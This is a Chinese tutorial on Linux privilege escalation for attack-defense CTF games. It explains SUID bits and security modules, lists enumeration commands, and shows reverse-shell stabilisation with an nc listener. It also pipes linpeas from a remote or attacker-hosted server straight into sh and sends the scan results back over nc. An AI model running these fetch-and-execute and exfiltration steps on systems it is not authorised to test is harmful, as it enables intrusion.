【AWD】Linux 提权 - 信息枚举

大部分攻防场景, 在维持权限获取 shell 后, 很可能会分配到一个低权限用户, 提权到 root 级别的管理员用户才有 getshell 的意义.

权限体系

SUID SGID

SUID(Set User ID)SGID(Set Group ID) 统称为 S 位, 被设置在可执行文件上, 当这些位被设置时,文件或程序将以文件所有者或组的权限运行,而不是以运行它的用户的权限运行。

  • SUID: 当 SUID 位被设置, 无论谁运行这个文件,该文件都会以文件所有者的权限执行, SUID位通常表示为文件权限字符串中的一个s字符,如果权限是可执行的话,否则它是一个大写的S。
  • SGID: 当 SGID 位被设置, 该文件会以文件组的权限执行。当SGID设置在目录上时,创建在该目录下的任何新文件都会继承该目录的组ID,而不是继承创建它的用户的主组ID。SGID位在文件权限字符串中也表示为s或S,取决于组权限是否可执行。

AppArmor SElinux

  • AppArmor 是一种主要基于路径的强制访问控制(MAC)系统,它允许系统管理员为每个程序定义一个配置文件,来控制程序可以访问的文件和权限。 举个例子, 使用 AppArmor 可以为一个特定的程序指定只能读取特定目录下的文件。
  • SELinux 基于策略来控制程序之间以及程序与文件之间的交互。与 AppArmor 不同,SELinux 不仅基于路径,而且使用了一套复杂的标签系统(包括类型、角色、用户等标签),这使得它可以实现更精细化的安全控制。

不常用的安全机制

  • Grsecurity: 为Linux内核提供各种安全增强和补丁的项目, 功能包括角色基础访问控制 (RBAC), 内存保护,审计等
  • Pax: 基于内核的保护补丁
  • ExecShield: 可执行文件的‘盾’,也是基于内核的安全机制
  • ASLR(Address Space Layout Random): 地址空间布局随机化
  • TOMOYO Linux: 也是基于 MAC 的内核安全模块, 比AppArmor轻量级
  • SMACK (Simplified Mandatory Access Control Kernel): SMACK是一个用于Linux的简化的强制访问控制系统。它提供了一种机制,允许系统管理员定义访问控制规则,这些规则指定哪些进程可以访问哪些文件和资源。
  • Yama: Yama是一个Linux内核安全模块,提供了一系列安全策略。它最著名的功能之一是限制ptrace系统调用,这有助于防止某些类型的安全漏洞,特别是针对调试和系统监控工具的攻击。
  • CGroups (Control Groups): CGroups是Linux内核的一部分,允许对系统资源(如CPU时间、系统内存、网络带宽等)进行分组管理和限制。这有助于实现资源分配、优先级控制等。
  • Linux Namespaces: Linux命名空间是一种提供隔离的技术,它可以将系统的不同部分(如进程、网络、文件系统等)隔离开来,使得在一个命名空间中的进程看不到另一个命名空间中的资源。这是容器技术的关键组成部分。
  • StackGuard: StackGuard是一个编译时安全特性,用于防范栈溢出攻击。它通过在栈上插入特殊的“哨兵”值来工作,这些值在函数调用时检查,以防止栈缓冲区溢出。
  • Proplice: 这可能是对“Polkit”(以前称为PolicyKit)的提及,这是一个用于控制系统范围内特权的框架。它允许非特权进程向特权进程请求执行特定任务。
  • seccomp (Secure Computing Mode): seccomp是一个Linux内核特性,允许一个进程设定一个“安全模式”,这个模式将限制进程可以调用的系统调用。这有助于限制进程的行为,防止安全漏洞。
  • ptrace: ptrace是一种用于调试和监控Linux进程的系统调用。它允许一个进程观察和控制另一个进程的执行,以及检查和改变其内存和寄存器等。
  • Capsicum: Capsicum是一种轻量级的操作系统能力和沙箱机制,最初是为FreeBSD开发的,但也有Linux实现。它允许应用程序以最小的特权运行。
  • Mprotect: Mprotect是一个系统调用,允许改变一个进程内存区域的保护。这可以用来防止程序的某些部分被修改,或者防止执行非执行内存区域,作为安全措施。
  • chroot: chroot是一种改变进程的根目录的操作。这可以用来创建一个隔离的环境,其中进程不能访问主文件系统之外的文件。
  • firejail: firejail是一个沙箱程序,用于限制应用程序的运行环境。它通过使用Linux命名空间和seccomp-bpf等技术来提供隔离和安全控制。

提权原理

  1. 低权限可以修改可执行文件或者脚本, 然后能够以高权限运行这个文件或者脚本.
  2. 从用户行为的角度, 运维人员的操作习惯, 管理标准, 他们会把敏感信息留下方便他们操作.
  3. 有机会能够在权限体系上层提权, 如内存, cpu 进行操作, 在权限上层捕捉,拦截,修改凭据信息, 如基于内存去读取敏感信息的内核利用.

权限枚举

枚举准备

权限枚举之前, 可以通过以下方式提高终端交互性和稳定性:

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo
export TERM=xterm-color

以上命令通过 python 开启一个 bash 会话, 然后让 stty 通过行读取并禁用 echo. 然后可以使用

1
rlwrap nc -lvnp 端口号

在获取反弹 shell 之前, 用 rlwrap 包裹起来, 这样就可以在终端中用方向键翻命令.

手动枚举

在这里列举的所有命令中, 第一条是主命令,大多情况适用

查看当前权限

1
2
3
4
5
whoami # 查看自己的用户
id # 查看所有用户的权限信息
who # 当前登录的用户和相关信息, 可以看除了自己以外哪些用户登录了
w # 当前登录用户的详细信息
last # 显示系统最近的登录记录

看内核版本

1
2
3
4
5
uname -a #查看当前内核版本
lsb_release -a #查看更详细的信息
cat /proc/version
cat /etc/issue
hostnamectl

查看当前机器的 IP 地址

用于横向渗透获取内网信息

1
2
3
4
5
ip addr  # 最新最通用的方法
ifconfig # 旧机器的查看 ip 方法
ip route # 查看路由表
ip neigh # 查看网络邻居
arp -a # 局域网中哪些 mac 地址和 ip 地址做了绑定

查看机器名称

用于定位角色来排除数据的优先级

1
2
hostname # 看这个机器的名字
hostnamectl #更详细一点

看当前用户有哪些以 root 的身份执行的

1
sudo -l

查看权限体系

1
getcap -r / 2>/dev/null # 用 -r 指定根目录, 错误信息扔掉

查看命令

1
2
ls -liah # 查看所有文件,包括隐藏文件
ls -a # 查看全部文件

查看 passwd 文件

查看用户(名称:密码目录 + 描述 + bash 环境)

1
cat /etc/passwd # 获取用户描述(有 home 目录的就是活跃用户)+对应的 bash 环境

查看自动任务

具体看是否有 root 权限的自动任务

1
cat /etc/crontab

查看环境变量

1
2
echo $PATH # 查看路径
env # 看整体环境变了

查看进程信息

展示出来的列中, UID 是用户类型, PID 是进程号,
TTY 是终端类型, TIME 是进程使用的 cpu 时间, CMD 是进程正在运行的命令和可执行文件

1
2
3
4
ps -ef  # 通用
ps axjf # a 查看所有进程, x 没有连接到终端的进程, j 显示进程数, f 输出格式
ps aux # u 显示启动进程的用户
top -n 1 # top 是定时刷新进程的, 用 -n 1 让他只显示一次

查看网络统计

可以看到占用端口的程序,和他的进程 id

1
2
3
4
5
netstat -a # 查看所有
netstat -au # 列出所有 TCP, UDP 连接的端口
netstat -l # 列出监听的端口
netstat -s # 统计网络使用的情况
netstat -ano # n 不解析名称, o 显示计时器

查看有 S 位的可执行文件

2>/dev/null 把报错信息给扔掉

1
find / -perm -u=s -type f 2>/dev/null

查看工具是否有安装

1
2
which 工具
which awk perl python ruby gcc vi vim nmap find nc wget tftp 2>/dev/null

查看哪些磁盘没被挂载

运维人员做备份或者做系统快照时, 会用一个临时挂载的磁盘存取这些敏感信息.

1
cat /etc/fstab

自动化枚举

先说说缺点:

自动化枚举往往要搬运工具, 会产生流量和流量特征, 且枚举的消息十分冗长, 要十分熟悉才能找到好的信息, 而且针对性很差.

这里列举工具,记得在 release 里找到对应系统的支持,再去搬运

  1. PEASS-ng (主要)
  2. LinEnum (备选)
  3. Linux-smart-enumeration (备选)
  4. Linux-exploit-suggester (备选)
  5. linuxprivchecker (备选,主要用 python)
  6. unix-privesc-check (超级备选

不同系统可能没安装对应的语言, 或者对特定语言的函数做了过滤, 要多换几个工具.

以 LinPEASS 为例, 以下是操作方法:

传统方法:

1
2
3
4
5
cd /tmp # 大多数在 tmp 目录下做
wget https:.... # 搬运工具
ls # 查看可执行文件
chmod +x linpeas.sh # 赋予权限
./linpeas.sh # 执行

推荐方法(有 curl):

1
curl -L https:... | sh 

这里用 -L 追随重定向, 用 | 管道符连接到 sh 直接执行,就不会再本地存储.

如果连不到外网, 就要先在自己的机子本地下载 sh 文件, 然后在启动监听, 再 curl 过去靶机.

本地机 1:

1
sudo python3 -m http.server 端口

靶机:

1
2
curl 本地 ip/linpeas.sh | sh
curl 本地 ip/linpeas.sh | sh | nc #本地监听 ip 本地监听端口 # 将扫描结果回弹到本地

本地机 2:

1
sudo nc -lvnp 端口号 | tee linpeas.txt

如果靶机执行第二条语句, 本地机 2 就会获得扫描结果文本.

文章参考视频:

https://www.bilibili.com/video/BV1Wh4y1H7LK/?spm_id_from=333.1007.top_right_bar_window_history.content.click